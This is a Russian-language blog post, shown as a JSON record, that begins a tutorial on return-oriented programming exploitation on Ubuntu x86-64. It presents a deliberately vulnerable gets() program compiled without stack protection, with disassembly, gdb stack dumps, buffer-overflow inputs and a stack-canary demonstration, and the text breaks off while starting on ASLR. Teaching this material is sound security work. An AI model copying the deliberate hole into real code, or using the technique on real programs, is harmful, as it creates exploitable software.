{"id":255011,"date":"2015-04-11T14:48:02","date_gmt":"2015-04-11T10:48:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=255011"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=255011","title":{"rendered":"Return oriented programming. \u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c exploit \u043f\u043e \u043a\u0443\u0441\u043e\u0447\u043a\u0430\u043c"},"content":{"rendered":"<p>     \t<b>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/b><br \/>  \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 Return Oriented \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442. \u0422\u0435\u043c\u0430, \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435, \u0442\u0430\u043a \u0441\u0435\u0431\u0435 \u0437\u0430\u0435\u0437\u0436\u0435\u043d\u043d\u0430\u044f, \u0438 \u0432 \u0438\u043d\u0435\u0442\u0435 \u0432\u0430\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0430\u043b\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0439, \u043d\u043e \u044f \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u044e\u0441\u044c \u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u044d\u0442\u0430 \u0441\u0442\u0430\u0442\u044c\u044f \u043d\u0435 \u0431\u044b\u043b\u0430 \u0438\u0445 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439. \u041f\u043e \u0445\u043e\u0434\u0443 \u043d\u0430\u043c \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c\u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c\u0438 Linux \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b x86-64 (\u0432\u0441\u0435 \u043d\u0438\u0436\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u044b \u043d\u0430 Ubuntu 14.04). \u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0431\u0443\u0434\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 gets \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e ROP (Return oriented programming).<br \/>  <a name=\"habracut\"><\/a><br \/>  <b>\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c<\/b><br \/>  \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043f\u043e\u0438\u0441\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430. \u041d\u0435\u043f\u043b\u043e\u0445\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u043d\u0430\u0447\u0430\u0442\u044c \u0441 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u0442\u044c \u043a\u0430\u043a\u0443\u044e-\u043d\u0438\u0431\u0443\u0434\u044c \u043f\u0440\u043e\u0441\u0442\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0412\u043e\u0442 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0444\u0443\u043d\u043a\u0446\u0438\u044f gets(), \u0432\u0445\u043e\u0434\u044f\u0449\u0430\u044f \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0421, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u0435\u0439 \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f.  <\/p>\n<pre><code class=\"cpp\">#include &lt;stdio.h&gt; #include &lt;string.h&gt; int func() { \tint val = 0; \tchar buf[10]; \tgets(buf); \tprintf(&quot;%s\\n&quot;, buf); \tval = strlen(buf); \treturn val; }  int main(int argc, char **argv) { \treturn func(); } <\/code><\/pre>\n<p>  \u0414\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u0438\u0437 stdin \u0432\u0441\u0451, \u0447\u0442\u043e \u0432\u0438\u0434\u0438\u0442, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0442\u043a\u043d\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0438\u043c\u0432\u043e\u043b \u043a\u043e\u043d\u0446\u0430 \u0441\u0442\u0440\u043e\u043a\u0438 \u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u0430. \u0412\u043e\u043e\u0431\u0449\u0435 \u0433\u043e\u0432\u043e\u0440\u044f, \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u043d\u0430 \u043b\u0438\u0448\u044c \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0441\u0430\u043c \u043d\u0435 \u0440\u0430\u0437 \u0432\u0438\u0434\u0435\u043b \u0441\u0432\u0435\u0436\u0438\u0439 \u043a\u043e\u0434, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043b\u044e\u0434\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438 \u044d\u0442\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u044e. \u041d\u0443 \u0438 \u0431\u043e\u0433 \u0441 \u043d\u0438\u043c. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c (\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438 -fno-stack-protector \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043f\u043e\u0437\u0436\u0435).  <\/p>\n<pre><code class=\"bash\">gcc -o main main.c -g -Wall -fno-stack-protector <\/code><\/pre>\n<p>  gcc \u0435\u0449\u0451 \u0434\u0432\u0430 \u0440\u0430\u0437\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b \u043d\u0430\u0441 \u043e\u0431 \u0430\u0431\u0441\u0443\u0440\u0434\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u0448\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 (\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0431\u043e\u0440\u043a\u0430\u0445 gcc)  <\/p>\n<pre><code class=\"bash\">main.c: In function 'func': main.c:7:2: warning: 'gets' is deprecated (declared at \/usr\/include\/stdio.h:638) [-Wdeprecated-declarations]   gets(buf);   ^ \/tmp\/ccBFHgPN.o: In function `func': \/home\/alexhoppus\/Desktop\/rop_tutorial\/main.c:7: warning: the `gets' function is dangerous and should not be used. <\/code><\/pre>\n<p>  \u041d\u0443 \u043b\u0430\u0434\u043d\u043e, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0447\u0435\u0433\u043e \u043e\u043d \u0442\u0430\u043c \u043b\u0435\u043f\u0435\u0447\u0435\u0442 \u043f\u0440\u043e dangerous \u0438 deprecated.<br \/>  <b>Smash the stack<\/b><br \/>  \u0418\u0437 \u043a\u043e\u0434\u0430 \u0432\u044b\u0448\u0435 \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0431\u0443\u0444\u0435\u0440, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430. \u0411\u0443\u0444\u0435\u0440 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u0435\u043a\u0435. \u041a\u0430\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0441\u0442\u0435\u043a \u2014 \u044d\u0442\u043e \u043d\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043a\u0443\u0441\u043e\u043a rw \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0435\u0433\u043e layout \u043d\u0430 x86-64. \u0414\u0435\u043b\u0430\u0442\u044c \u043c\u044b \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b objdump, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e gdb.  <\/p>\n<pre><code class=\"bash\">objdump -d main 00000000004005bd &lt;func&gt;:   4005bd:\t55                   \tpush   %rbp   4005be:\t48 89 e5             \tmov    %rsp,%rbp   4005c1:\t48 83 ec 10          \tsub    $0x10,%rsp   4005c5:\tc7 45 fc 00 00 00 00 \tmovl   $0x0,-0x4(%rbp)   4005cc:\t48 8d 45 f0          \tlea    -0x10(%rbp),%rax   4005d0:\t48 89 c7             \tmov    %rax,%rdi   4005d3:\te8 e8 fe ff ff       \tcallq  4004c0 &lt;gets@plt&gt;   4005d8:\t48 8d 45 f0          \tlea    -0x10(%rbp),%rax   4005dc:\t48 89 c7             \tmov    %rax,%rdi   4005df:\te8 9c fe ff ff       \tcallq  400480 &lt;puts@plt&gt;   4005e4:\t48 8d 45 f0          \tlea    -0x10(%rbp),%rax   4005e8:\t48 89 c7             \tmov    %rax,%rdi   4005eb:\te8 a0 fe ff ff       \tcallq  400490 &lt;strlen@plt&gt;   4005f0:\t89 45 fc             \tmov    %eax,-0x4(%rbp)   4005f3:\t8b 45 fc             \tmov    -0x4(%rbp),%eax   4005f6:\tc9                   \tleaveq    4005f7:\tc3                   \tretq     00000000004005f8 &lt;main&gt;:   4005f8:\t55                   \tpush   %rbp   4005f9:\t48 89 e5             \tmov    %rsp,%rbp   4005fc:\t48 83 ec 10          \tsub    $0x10,%rsp   400600:\t89 7d fc             \tmov    %edi,-0x4(%rbp)   400603:\t48 89 75 f0          \tmov    %rsi,-0x10(%rbp)   400607:\tb8 00 00 00 00       \tmov    $0x0,%eax   40060c:\te8 ac ff ff ff       \tcallq  4005bd &lt;func&gt;   400611:\tc9                   \tleaveq    400612:\tc3                   \tretq      400613:\t66 2e 0f 1f 84 00 00 \tnopw   %cs:0x0(%rax,%rax,1)   40061a:\t00 00 00    40061d:\t0f 1f 00             \tnopl   (%rax) <\/code><\/pre>\n<p>  \u041d\u0430\u0447\u043d\u0435\u043c \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 main, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u044b\u0437\u043e\u0432 func (40060c). callq \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432 \u0432\u0438\u0434\u0435 push \u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 (400611) \u0438 jump \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 func. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043f\u0435\u0440\u0432\u044b\u043c \u043d\u0430 \u0441\u0442\u0435\u043a \u043a\u043b\u0430\u0434\u0435\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430. \u041a\u043e\u0433\u0434\u0430 \u043c\u044b \u043f\u0440\u044b\u0433\u043d\u0443\u043b\u0438 \u043d\u0430 func \u043c\u044b \u043f\u0443\u0448\u0438\u043c \u043d\u0430 \u0441\u0442\u0435\u043a %rbp \u2014 \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0441\u0442\u0435\u043a \u0444\u0440\u0435\u0439\u043c\u0430. \u0414\u0430\u043b\u0435\u0435 \u043c\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u043c \u0441\u0442\u0435\u043a (\u0441\u0442\u0435\u043a \u0440\u0430\u0441\u0442\u0435\u0442 \u0432\u043d\u0438\u0437) \u043d\u0430 16 \u0431\u0430\u0439\u0442 \u0438 \u0437\u0430\u043d\u0443\u043b\u044f\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0435 4 \u0431\u0430\u0439\u0442\u0430 \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0433\u043e %rbp \u2014 \u0432\u0438\u0434\u0438\u043c\u043e, \u044d\u0442\u043e \u043d\u0430\u0448\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f val \u043d\u0430 \u0441\u0442\u0435\u043a\u0435. \u0424\u0443\u043d\u043a\u0446\u0438\u0438 gets \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0431\u0443\u0444\u0435\u0440 \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0433\u0438\u0441\u0442\u0440 %rdi, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c lea -0x10(%rbp),%rax. \u0420\u0435\u0437\u044e\u043c\u0438\u0440\u0443\u0435\u043c \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u043e\u0439:<br \/>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/63e\/ba8\/dc7\/63eba8dc7c3a41f9a44aedea9b1d3d23.jpeg\"\/><br \/>  \u0418\u0437 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043a\u043b\u044e\u0447\u0438\u0442\u044c, \u0447\u0442\u043e, \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432 \u0431\u0443\u0444\u0435\u0440 \u0441\u0442\u0440\u043e\u043a\u0443, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c 15 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 (+1 \u0431\u0430\u0439\u0442 \u043a\u043e\u043d\u0435\u0446 \u0441\u0442\u0440\u043e\u043a\u0438), \u0442\u043e \u043d\u0430\u0448\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u0441\u0432\u0430\u043b\u0438\u0442\u0441\u044f, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0448\u0435\u043c %rbp \u2014 \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0441\u0442\u0435\u043a \u0444\u0440\u0435\u0439\u043c\u0430. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 func \u043c\u044b \u0432\u044b\u0439\u0434\u0435\u043c \u0432 main \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e, \u043d\u043e \u043f\u043e\u0442\u043e\u043c \u0443 \u043d\u0430\u0441 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u2014 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0431\u0443\u0434\u0435\u0442 \u0434\u0443\u043c\u0430\u0442\u044c, \u0447\u0442\u043e \u0435\u0435 \u0441\u0442\u0435\u043a \u0432\u043e\u0432\u0441\u0435 \u043d\u0435 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043e\u043d \u0435\u0441\u0442\u044c \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435, \u0430 \u0442\u0430\u043a \u043a\u0430\u043a \u043d\u0430 \u0441\u0442\u0435\u043a\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f %rip \u2014 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c SIGSEGV \u043e\u0442 \u044f\u0434\u0440\u0430 Linux, \u043a\u043e\u0433\u0434\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0438\u043c\u0441\u044f \u043f\u043e \u043d\u0435\u0432\u0435\u0440\u043d\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443.<br \/>   \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0441\u0442\u0435\u043a \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f gdb:  <\/p>\n<pre><code class=\"bash\">python -c &quot;print 'a'*15&quot; &gt; input2 gdb .\/main (gdb) b func Breakpoint 1 at 0x4005c5: file main.c, line 5. (gdb) r &lt; input2 (gdb) info register ... rsp            0x7fffffffde90\t0x7fffffffde90 ... (gdb) x\/100x 0x7fffffffde90 0x7fffffffde90:\t0x61616161\t0x61616161\t0x61616161\t0x00616161 0x7fffffffdea0:\t0xffffdec0\t0x00007fff\t0x00400611\t0x00000000 0x7fffffffdeb0:\t0xffffdfa8\t0x00007fff\t0x00000000\t0x00000001 <\/code><\/pre>\n<p>  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u044b \u043e\u043a\u043e\u043d\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u043c \u0431\u044b\u0442\u044c \u0443\u0432\u0435\u0440\u0435\u043d\u044b \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0435 \u043e\u0448\u0438\u0431\u043b\u0438\u0441\u044c. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0432\u0432\u0435\u0441\u0442\u0438 \u043d\u0430 stdin \u0431\u043e\u043b\u044c\u0448\u0435 15 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442 SIGSEGV. \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043a \u043e\u043f\u0446\u0438\u0438 -fno-stack-protector. \u041f\u043e\u0432\u0442\u043e\u0440\u0438\u043c \u044d\u0442\u043e\u0442 \u0442\u0440\u044e\u043a \u0431\u0435\u0437 \u043d\u0435\u0435 (\u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435: \u0434\u0430\u043d\u043d\u0430\u044f \u043e\u043f\u0446\u0438\u044f \u0443 \u043c\u0435\u043d\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u2014 \u0442\u0430\u043a\u0430\u044f \u0441\u0431\u043e\u0440\u043a\u0430 gcc, \u0443 \u0412\u0430\u0441 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442).  <\/p>\n<pre><code class=\"bash\">gcc -o main main.c -g -Wall python -c &quot;print 'a'*26&quot; | .\/main  aaaaaaaaaaaaaaaaaaaaaaaaaa *** stack smashing detected ***: .\/main terminated Aborted (core dumped) <\/code><\/pre>\n<p>  \u0424\u043b\u0430\u0433 -fstack-protector \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b gcc. \u041f\u0440\u0438\u043d\u0446\u0438\u043f \u0435\u0451 \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u043e\u0441\u0442 \u2014 \u043c\u0435\u0436\u0434\u0443 %rip, %rbp \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0443\u0444\u0435\u0440\u043e\u043c \u043d\u0430 \u0441\u0442\u0435\u043a \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0443 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043e \u0441\u0442\u0435\u043a\u0430 \u0438 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u043c. \u0415\u0441\u043b\u0438 \u043d\u0430 \u043b\u0438\u0446\u043e \u043d\u0435\u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435, \u0442\u043e \u043c\u044b \u0443\u0432\u0438\u0434\u0438\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e stack smashing. \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0441\u0430\u043c\u0438 \u043b\u0438\u0446\u0435\u0437\u0440\u0435\u0442\u044c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0430\u0431\u043e\u0442\u044b stack canaries \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u0438\u0441\u0430\u0441\u0435\u043c\u0431\u043b\u0438\u043d\u0433\u0430 objdump -d  <\/p>\n<pre><code class=\"bash\">000000000040062d &lt;func&gt;: ...   400635:\t64 48 8b 04 25 28 00 \tmov    %fs:0x28,%rax   40063c:\t00 00    40063e:\t48 89 45 f8          \tmov    %rax,-0x8(%rbp) ...   400675:\t48 8b 55 f8          \tmov    -0x8(%rbp),%rdx   400679:\t64 48 33 14 25 28 00 \txor    %fs:0x28,%rdx   400680:\t00 00    400682:\t74 05                \tje     400689 &lt;func+0x5c&gt;   400684:\te8 77 fe ff ff       \tcallq  400500 &lt;__stack_chk_fail@plt&gt;   400689:\tc9                   \tleaveq    40068a:\tc3                   \tretq   <\/code><\/pre>\n<p>  \u0427\u0442\u043e\u0431\u044b \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u0441\u0435\u0431\u0435 \u0436\u0438\u0437\u043d\u044c \u043f\u0440\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0438 ROP \u044d\u043a\u0441\u043b\u043e\u0438\u0442\u0430, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 \u0444\u043b\u0430\u0433\u043e\u043c -fno-stack-protector. \u042d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0439 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0437\u0430\u0449\u0438\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u043c, \u0447\u0442\u043e\u0431\u044b \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u0441\u0435\u0431\u0435 \u0436\u0438\u0437\u043d\u044c.<br \/>  <b>Address space layout randomization<\/b><br \/>  \u0420\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044f \u043e\u0431 ASLR, \u043d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u0443\u0436\u0435 \u0441\u0442\u043e\u0438\u0442 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0441\u0443\u0442\u0438 \u0434\u0435\u043b\u0430. \u041a\u0430\u043a \u0432\u044b \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u0442\u0435, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u0443\u0444\u0435\u0440 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u044b\u0433\u043d\u0443\u0442\u044c \u043d\u0430 